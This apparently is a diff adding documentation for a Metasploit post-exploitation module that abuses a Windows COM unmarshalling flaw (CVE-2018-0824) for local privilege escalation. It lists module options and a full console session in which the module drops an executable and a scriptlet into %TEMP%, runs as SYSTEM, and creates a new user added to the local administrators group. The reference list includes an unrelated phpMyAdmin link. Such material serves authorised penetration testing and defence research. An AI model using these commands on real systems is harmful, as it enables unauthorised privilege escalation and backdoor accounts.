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+## Overview
+This is a post exploitation module for local privilege escalation bug which exists in Microsoft COM for windows when it fails to properly handle serialized objects.
+
+* https://www.phpmyadmin.net/downloads/
+* https://github.com/codewhitesec/UnmarshalPwn/
+* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824
+
+## Module Options
+
+"POCCMD" This command will be executed on successful exploitation.</br>
+"SESSION" The session to run this module on.
+
+## Limitations
+
+The payload will not spawn ant independent session it simply creates process with the system privilege.
+If the system is not vulnerable, then payload will execute but new process will not spawn.
+
+## Verification steps
+
+If you want to confirm the vulnerability before you add user or perform any other sensitive action. 
+
+1. `set POCCMD /s notepad.exe` 
+2. `run` 
+
+Confirmation:
+
+Then go to meterpreter session and confirm running process (ps)
+If you see notepad.exe running as SYSYEM then that is as indication of vulnerable system.
+
+## Usage
+
+```
+meterpreter > getuid
+Server username: PC2\test
+meterpreter > sysinfo 
+Computer        : PC2
+OS              : Windows 10 (Build 17134).
+Architecture    : x64
+System Language : en_US
+Domain          : PSS
+Logged On Users : 12
+Meterpreter     : x64/windows
+meterpreter > background 
+[*] Backgrounding session 2...
+
+msf > use post/windows/escalate/unmarshal 
+msf post(windows/escalate/unmarshal) > show options 
+
+Module options (post/windows/escalate/unmarshal):
+
+ Name              Current Setting                                                       
+ ----              ---------------                                                                        
+POCCMD  /k net user msfuser msfpass /add && net localgroup administrators msf /add
+READFILE             c:\boot.ini    
+SESSION                   
+
+
+
+msf post(windows/escalate/unmarshal) > set session 2
+
+
+msf post(windows/escalate/unmarshal) > run
+
+[!] SESSION may not be compatible with this module.
+[*] exe name is: oQT0yWT834.exe
+[*] poc name is: sJ76Il3UGj.sct
+[*] Reading Payload from file /usr/share/metasploit-framework/data/exploits/CVE-2018-0824/UnmarshalPwn.exe
+[!] writing to %TEMP%
+[+] Persistent Script written to C:\Users\test\AppData\Local\Temp\oQT0yWT834.exe
+[*] Reading Payload from file /usr/share/metasploit-framework/data/exploits/CVE-2018-0824/poc_header
+[!] writing to %TEMP%
+[+] Persistent Script written to C:\Users\test\AppData\Local\Temp\sJ76Il3UGj.sct
+[*] Reading Payload from file /usr/share/metasploit-framework/data/exploits/CVE-2018-0824/poc_footer
+[*] Starting module...
+
+[*] Location of UnmarshalPwn.exe is: C:\Users\test\AppData\Local\Temp\oQT0yWT834.exe
+[*] Location of poc.sct is: C:\Users\test\AppData\Local\Temp\sJ76Il3UGj.sct
+[*] Executing command : C:\Users\test\AppData\Local\Temp\oQT0yWT834.exe C:\Users\test\AppData\Local\Temp\sJ76Il3UGj.sct
+Query for IStorage
+Call:  Stat
+End:  Stat
+Query for IMarshal
+Call:  GetMarshalSizeMax
+Unknown IID: {ECC8691B-C1DB-4DC0-855E-65F6C551AF49} 0000020CA320CDB0
+Query for IMarshal
+Call:  GetUnmarshalClass
+Call:  GetMarshalSizeMax
+Call:  MarshalInterface
+
+[*] Post module execution completed
+
+
+Confirmation 
+Back in Meterpreter Session 
+
+meterpreter > shell 
+Process 3936 created.
+Channel 185 created.
+Microsoft Windows [Version 10.0.17134.1]
+(c) 2018 Microsoft Corporation. All rights reserved.
+
+C:\temp\un>net user
+net user
+
+User accounts for \\PC2
+
+-------------------------------------------------------------------------------
+Administrator            DefaultAccount           Guest                    
+User                   msfuser                  sshd                     
+sshd_server              test                     WDAGUtilityAccount       
+The command completed successfully.